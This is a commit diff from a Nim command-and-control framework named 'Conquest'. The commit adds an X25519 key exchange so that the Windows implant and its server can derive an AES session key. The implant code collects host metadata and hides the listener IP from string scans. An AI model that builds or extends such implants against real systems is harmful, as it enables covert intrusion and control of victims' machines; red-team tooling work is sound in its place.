Implemented ECDH key exchange using ed25519 to share a symmetric AES key without transmitting it over the network.
This commit is contained in:
@@ -1,4 +1,11 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
|
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
|
||||||
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/main.nim
|
nim --os:windows \
|
||||||
|
--cpu:amd64 \
|
||||||
|
--gcc.exe:x86_64-w64-mingw32-gcc \
|
||||||
|
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
|
||||||
|
-d:release \
|
||||||
|
--outdir:"$CONQUEST_ROOT/bin" \
|
||||||
|
-o:"monarch.x64.exe" \
|
||||||
|
c $CONQUEST_ROOT/src/agents/monarch/main.nim
|
||||||
|
|||||||
@@ -206,7 +206,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
|
|||||||
iv: generateIV(),
|
iv: generateIV(),
|
||||||
gmac: default(AuthenticationTag)
|
gmac: default(AuthenticationTag)
|
||||||
),
|
),
|
||||||
sessionKey: config.sessionKey,
|
agentPublicKey: config.agentPublicKey,
|
||||||
metadata: AgentMetadata(
|
metadata: AgentMetadata(
|
||||||
listenerId: uuidToUint32(config.listenerId),
|
listenerId: uuidToUint32(config.listenerId),
|
||||||
username: getUsername().toBytes(),
|
username: getUsername().toBytes(),
|
||||||
@@ -251,8 +251,8 @@ proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistration
|
|||||||
let header = packer.packHeader(data.header, uint32(encData.len))
|
let header = packer.packHeader(data.header, uint32(encData.len))
|
||||||
packer.reset()
|
packer.reset()
|
||||||
|
|
||||||
# Serialize session key
|
# Serialize the agent's public key to add it to the header
|
||||||
packer.addData(data.sessionKey)
|
packer.addData(data.agentPublicKey)
|
||||||
let key = packer.pack()
|
let publicKey = packer.pack()
|
||||||
|
|
||||||
return header & key & encData
|
return header & publicKey & encData
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import strformat, os, times, random
|
import strformat, os, times, system, base64
|
||||||
import winim
|
import winim
|
||||||
|
|
||||||
import core/[task, taskresult, heartbeat, http, register]
|
import core/[task, taskresult, heartbeat, http, register]
|
||||||
@@ -12,10 +12,9 @@ const Octet3 {.intdefine.}: int = 0
|
|||||||
const Octet4 {.intdefine.}: int = 0
|
const Octet4 {.intdefine.}: int = 0
|
||||||
const ListenerPort {.intdefine.}: int = 5555
|
const ListenerPort {.intdefine.}: int = 5555
|
||||||
const SleepDelay {.intdefine.}: int = 10
|
const SleepDelay {.intdefine.}: int = 10
|
||||||
|
const ServerPublicKey {.strdefine.}: string = ""
|
||||||
|
|
||||||
proc main() =
|
proc main() =
|
||||||
randomize()
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
The process is the following:
|
The process is the following:
|
||||||
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
|
1. Agent reads configuration file, which contains data relevant to the listener, such as IP, PORT, UUID and sleep settings
|
||||||
@@ -35,15 +34,27 @@ proc main() =
|
|||||||
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
|
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
|
||||||
|
|
||||||
# Create agent configuration
|
# Create agent configuration
|
||||||
var config = AgentConfig(
|
var config: AgentConfig
|
||||||
|
try:
|
||||||
|
let agentKeyPair = generateKeyPair()
|
||||||
|
let serverPublicKey = decode(ServerPublicKey).toKey()
|
||||||
|
|
||||||
|
config = AgentConfig(
|
||||||
agentId: generateUUID(),
|
agentId: generateUUID(),
|
||||||
listenerId: ListenerUuid,
|
listenerId: ListenerUuid,
|
||||||
ip: address,
|
ip: address,
|
||||||
port: ListenerPort,
|
port: ListenerPort,
|
||||||
sleep: SleepDelay,
|
sleep: SleepDelay,
|
||||||
sessionKey: generateSessionKey(), # Generate a new AES256 session key for encrypted communication
|
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
|
||||||
|
agentPublicKey: agentKeyPair.publicKey
|
||||||
)
|
)
|
||||||
|
|
||||||
|
# Clean up agent's private key from memory
|
||||||
|
zeroMem(agentKeyPair.privateKey[0].addr, sizeof(PrivateKey))
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
echo "[-] " & err.msg
|
||||||
|
|
||||||
# Create registration payload
|
# Create registration payload
|
||||||
var registration: AgentRegistrationData = config.collectAgentMetadata()
|
var registration: AgentRegistrationData = config.collectAgentMetadata()
|
||||||
let registrationBytes = config.serializeRegistrationData(registration)
|
let registrationBytes = config.serializeRegistrationData(registration)
|
||||||
|
|||||||
@@ -5,4 +5,5 @@
|
|||||||
-d:Octet3="0"
|
-d:Octet3="0"
|
||||||
-d:Octet4="1"
|
-d:Octet4="1"
|
||||||
-d:ListenerPort=9999
|
-d:ListenerPort=9999
|
||||||
-d:SleepDelay=5
|
-d:SleepDelay=10
|
||||||
|
-d:ServerPublicKey="8OysfB6C8kn8KSu8bYIH/78BMCpFOZsTaAWEG+860HY="
|
||||||
|
|||||||
@@ -1,20 +1,28 @@
|
|||||||
import random
|
import system
|
||||||
import nimcrypto
|
import nimcrypto
|
||||||
|
import nimcrypto/blake2
|
||||||
|
from ed25519 import keyExchange, createKeyPair, seed
|
||||||
|
# from monocypher import crypto_key_exchange_public_key, crypto_key_exchange, crypto_blake2b, crypto_wipe
|
||||||
|
|
||||||
import ./[utils, types]
|
import ./[utils, types]
|
||||||
|
|
||||||
proc generateSessionKey*(): Key =
|
#[
|
||||||
# Generate a random 256-bit (32-byte) session key for AES-256 encryption
|
Symmetric AES256 GCM encryption for secure C2 traffic
|
||||||
var key: array[32, byte]
|
Ensures both confidentiality and integrity of the packet
|
||||||
for i in 0 ..< 32:
|
]#
|
||||||
key[i] = byte(rand(255))
|
proc generateKeyPair*(): KeyPair =
|
||||||
return key
|
let keyPair = createKeyPair(seed())
|
||||||
|
|
||||||
|
return KeyPair(
|
||||||
|
privateKey: keyPair.privateKey,
|
||||||
|
publicKey: keyPair.publicKey
|
||||||
|
)
|
||||||
|
|
||||||
proc generateIV*(): Iv =
|
proc generateIV*(): Iv =
|
||||||
# Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode
|
# Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode
|
||||||
var iv: array[12, byte]
|
var iv: Iv
|
||||||
for i in 0 ..< 12:
|
if randomBytes(iv) != 12:
|
||||||
iv[i] = byte(rand(255))
|
raise newException(CatchableError, "Failed to generate IV.")
|
||||||
return iv
|
return iv
|
||||||
|
|
||||||
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) =
|
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) =
|
||||||
@@ -47,3 +55,67 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se
|
|||||||
|
|
||||||
return (data, tag)
|
return (data, tag)
|
||||||
|
|
||||||
|
#[
|
||||||
|
ECDHE key exchange using ed25519
|
||||||
|
]#
|
||||||
|
proc loadKeys*(privateKeyFile, publicKeyFile: string): KeyPair =
|
||||||
|
let filePrivate = open(privateKeyFile, fmRead)
|
||||||
|
defer: filePrivate.close()
|
||||||
|
|
||||||
|
var privateKey: PrivateKey
|
||||||
|
var bytesRead = filePrivate.readBytes(privateKey, 0, sizeof(PrivateKey))
|
||||||
|
|
||||||
|
if bytesRead != sizeof(PrivateKey):
|
||||||
|
raise newException(ValueError, "Invalid private key length.")
|
||||||
|
|
||||||
|
let filePublic = open(publicKeyFile, fmRead)
|
||||||
|
defer: filePublic.close()
|
||||||
|
|
||||||
|
var publicKey: PublicKey
|
||||||
|
bytesRead = filePublic.readBytes(publicKey, 0, sizeof(PublicKey))
|
||||||
|
|
||||||
|
if bytesRead != sizeof(PublicKey):
|
||||||
|
raise newException(ValueError, "Invalid public key length.")
|
||||||
|
|
||||||
|
return KeyPair(
|
||||||
|
privateKey: privateKey,
|
||||||
|
publicKey: publicKey
|
||||||
|
)
|
||||||
|
|
||||||
|
proc writeKey*[T: PublicKey | PrivateKey](keyFile: string, key: T) =
|
||||||
|
let file = open(keyFile, fmWrite)
|
||||||
|
defer: file.close()
|
||||||
|
|
||||||
|
let bytesWritten = file.writeBytes(key, 0, sizeof(T))
|
||||||
|
|
||||||
|
if bytesWritten != sizeof(T):
|
||||||
|
raise newException(ValueError, "Invalid key length.")
|
||||||
|
|
||||||
|
proc combineKeys(publicKey, otherPublicKey: Key): Key =
|
||||||
|
# XOR is a commutative operation, that ensures that the order of the public keys does not matter
|
||||||
|
for i in 0..<32:
|
||||||
|
result[i] = publicKey[i] xor otherPublicKey[i]
|
||||||
|
|
||||||
|
proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key =
|
||||||
|
var key: Key
|
||||||
|
|
||||||
|
# Calculate shared secret (https://monocypher.org/manual/x25519)
|
||||||
|
let sharedSecret = keyExchange(publicKey, keyPair.privateKey)
|
||||||
|
|
||||||
|
# Add combined public keys to hash
|
||||||
|
let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey)
|
||||||
|
|
||||||
|
# Calculate Blake2b hash to derive session key
|
||||||
|
var ctx: blake2_512
|
||||||
|
ctx.init()
|
||||||
|
ctx.update(sharedSecret)
|
||||||
|
ctx.update("CONQUEST".toBytes() & @combinedKeys)
|
||||||
|
|
||||||
|
let hash = ctx.finish
|
||||||
|
let bytes = hash.data[0..<sizeof(Key)]
|
||||||
|
copyMem(key[0].addr, bytes[0].addr, sizeof(Key))
|
||||||
|
|
||||||
|
# Cleanup
|
||||||
|
zeroMem(sharedSecret[0].addr, sharedSecret.len)
|
||||||
|
|
||||||
|
return key
|
||||||
@@ -52,6 +52,8 @@ type
|
|||||||
# Encryption
|
# Encryption
|
||||||
type
|
type
|
||||||
Key* = array[32, byte]
|
Key* = array[32, byte]
|
||||||
|
PublicKey* = array[32, byte]
|
||||||
|
PrivateKey* = array[64, byte]
|
||||||
Iv* = array[12, byte]
|
Iv* = array[12, byte]
|
||||||
AuthenticationTag* = array[16, byte]
|
AuthenticationTag* = array[16, byte]
|
||||||
|
|
||||||
@@ -133,7 +135,7 @@ type
|
|||||||
|
|
||||||
AgentRegistrationData* = object
|
AgentRegistrationData* = object
|
||||||
header*: Header
|
header*: Header
|
||||||
sessionKey*: Key # [32 bytes ] AES 256 session key
|
agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange
|
||||||
metadata*: AgentMetadata
|
metadata*: AgentMetadata
|
||||||
|
|
||||||
# Agent structure
|
# Agent structure
|
||||||
@@ -168,12 +170,17 @@ type
|
|||||||
|
|
||||||
# Server structure
|
# Server structure
|
||||||
type
|
type
|
||||||
|
KeyPair* = object
|
||||||
|
privateKey*: PrivateKey
|
||||||
|
publicKey*: Key
|
||||||
|
|
||||||
Conquest* = ref object
|
Conquest* = ref object
|
||||||
prompt*: Prompt
|
prompt*: Prompt
|
||||||
dbPath*: string
|
dbPath*: string
|
||||||
listeners*: Table[string, Listener]
|
listeners*: Table[string, Listener]
|
||||||
agents*: Table[string, Agent]
|
agents*: Table[string, Agent]
|
||||||
interactAgent*: Agent
|
interactAgent*: Agent
|
||||||
|
keyPair*: KeyPair
|
||||||
|
|
||||||
# Agent Config
|
# Agent Config
|
||||||
type
|
type
|
||||||
@@ -184,3 +191,4 @@ type
|
|||||||
port*: int
|
port*: int
|
||||||
sleep*: int
|
sleep*: int
|
||||||
sessionKey*: Key
|
sessionKey*: Key
|
||||||
|
agentPublicKey*: PublicKey
|
||||||
@@ -1,8 +1,14 @@
|
|||||||
import strutils, sequtils, random, strformat
|
import strutils, sequtils, strformat
|
||||||
|
import nimcrypto
|
||||||
|
|
||||||
|
import ./types
|
||||||
|
|
||||||
proc generateUUID*(): string =
|
proc generateUUID*(): string =
|
||||||
# Create a 4-byte HEX UUID string (8 characters)
|
# Create a 4-byte HEX UUID string (8 characters)
|
||||||
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
|
var uuid: array[4, byte]
|
||||||
|
if randomBytes(uuid) != 4:
|
||||||
|
raise newException(CatchableError, "Failed to generate UUID.")
|
||||||
|
return uuid.toHex().toUpperAscii()
|
||||||
|
|
||||||
proc uuidToUint32*(uuid: string): uint32 =
|
proc uuidToUint32*(uuid: string): uint32 =
|
||||||
return fromHex[uint32](uuid)
|
return fromHex[uint32](uuid)
|
||||||
@@ -63,3 +69,9 @@ proc toBytes*(value: uint64): seq[byte] =
|
|||||||
byte((value shr 48) and 0xFF),
|
byte((value shr 48) and 0xFF),
|
||||||
byte((value shr 56) and 0xFF)
|
byte((value shr 56) and 0xFF)
|
||||||
]
|
]
|
||||||
|
|
||||||
|
proc toKey*(value: string): Key =
|
||||||
|
if value.len != 32:
|
||||||
|
raise newException(ValueError, "Invalid key length.")
|
||||||
|
|
||||||
|
copyMem(result[0].addr, value[0].unsafeAddr, 32)
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
import terminal, strformat, strutils, tables, times, system, osproc, streams
|
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64
|
||||||
|
|
||||||
import ../utils
|
import ../utils
|
||||||
import ../task/dispatcher
|
import ../task/dispatcher
|
||||||
@@ -140,6 +140,9 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
|||||||
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
|
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
|
||||||
let (first, second, third, fourth) = parseOctets(listener.address)
|
let (first, second, third, fourth) = parseOctets(listener.address)
|
||||||
|
|
||||||
|
# Covert the servers's public X25519 key to as base64 string
|
||||||
|
let publicKey = encode(cq.keyPair.publicKey)
|
||||||
|
|
||||||
# The following shows the format of the agent configuration file that defines compile-time variables
|
# The following shows the format of the agent configuration file that defines compile-time variables
|
||||||
let config = fmt"""
|
let config = fmt"""
|
||||||
# Agent configuration
|
# Agent configuration
|
||||||
@@ -150,6 +153,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
|||||||
-d:Octet4="{fourth}"
|
-d:Octet4="{fourth}"
|
||||||
-d:ListenerPort={listener.port}
|
-d:ListenerPort={listener.port}
|
||||||
-d:SleepDelay={sleep}
|
-d:SleepDelay={sleep}
|
||||||
|
-d:ServerPublicKey="{publicKey}"
|
||||||
""".replace(" ", "")
|
""".replace(" ", "")
|
||||||
writeFile(agentConfigFile, config)
|
writeFile(agentConfigFile, config)
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
|
|||||||
import ./[agent, listener]
|
import ./[agent, listener]
|
||||||
import ../[globals, utils]
|
import ../[globals, utils]
|
||||||
import ../db/database
|
import ../db/database
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils, crypto]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Argument parsing
|
Argument parsing
|
||||||
@@ -127,14 +127,16 @@ proc header(cq: Conquest) =
|
|||||||
cq.writeLine("─".repeat(21))
|
cq.writeLine("─".repeat(21))
|
||||||
cq.writeLine("")
|
cq.writeLine("")
|
||||||
|
|
||||||
proc initConquest*(dbPath: string): Conquest =
|
# TODO: Add profile support instead of hardcoded paths, etc.
|
||||||
|
proc initConquest*(): Conquest =
|
||||||
var cq = new Conquest
|
var cq = new Conquest
|
||||||
var prompt = Prompt.init()
|
var prompt = Prompt.init()
|
||||||
cq.prompt = prompt
|
cq.prompt = prompt
|
||||||
cq.dbPath = dbPath
|
cq.dbPath = "../data/conquest.db"
|
||||||
cq.listeners = initTable[string, Listener]()
|
cq.listeners = initTable[string, Listener]()
|
||||||
cq.agents = initTable[string, Agent]()
|
cq.agents = initTable[string, Agent]()
|
||||||
cq.interactAgent = nil
|
cq.interactAgent = nil
|
||||||
|
cq.keyPair = loadKeys("../data/keys/conquest-server_ed25519_private.key", "../data/keys/conquest-server_ed25519_public.key")
|
||||||
|
|
||||||
return cq
|
return cq
|
||||||
|
|
||||||
@@ -146,8 +148,12 @@ proc startServer*() =
|
|||||||
setControlCHook(exit)
|
setControlCHook(exit)
|
||||||
|
|
||||||
# Initialize framework
|
# Initialize framework
|
||||||
let dbPath: string = "../data/conquest.db"
|
try:
|
||||||
cq = initConquest(dbPath)
|
cq = initConquest()
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
echo err.msg
|
||||||
|
quit(0)
|
||||||
|
|
||||||
# Print header
|
# Print header
|
||||||
cq.header()
|
cq.header()
|
||||||
|
|||||||
@@ -1,8 +1,6 @@
|
|||||||
import random
|
|
||||||
import core/server
|
import core/server
|
||||||
import strutils
|
import strutils
|
||||||
|
|
||||||
# Conquest framework entry point
|
# Conquest framework entry point
|
||||||
when isMainModule:
|
when isMainModule:
|
||||||
randomize()
|
|
||||||
startServer()
|
startServer()
|
||||||
@@ -95,10 +95,12 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
|||||||
|
|
||||||
# TODO: Validate sequence number
|
# TODO: Validate sequence number
|
||||||
|
|
||||||
# Decrypt payload
|
# Key exchange
|
||||||
let sessionKey = unpacker.getKey()
|
let agentPublicKey = unpacker.getKey()
|
||||||
let payload = unpacker.getBytes(int(header.size))
|
let sessionKey = deriveSessionKey(cq.keyPair, agentPublicKey)
|
||||||
|
|
||||||
|
# Decrypt payload
|
||||||
|
let payload = unpacker.getBytes(int(header.size))
|
||||||
let (decData, gmac) = decrypt(sessionKey, header.iv, payload, header.seqNr)
|
let (decData, gmac) = decrypt(sessionKey, header.iv, payload, header.seqNr)
|
||||||
|
|
||||||
# Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD
|
# Verify that the authentication tags match, which ensures the integrity of the decrypted data and AAD
|
||||||
|
|||||||
Reference in New Issue
Block a user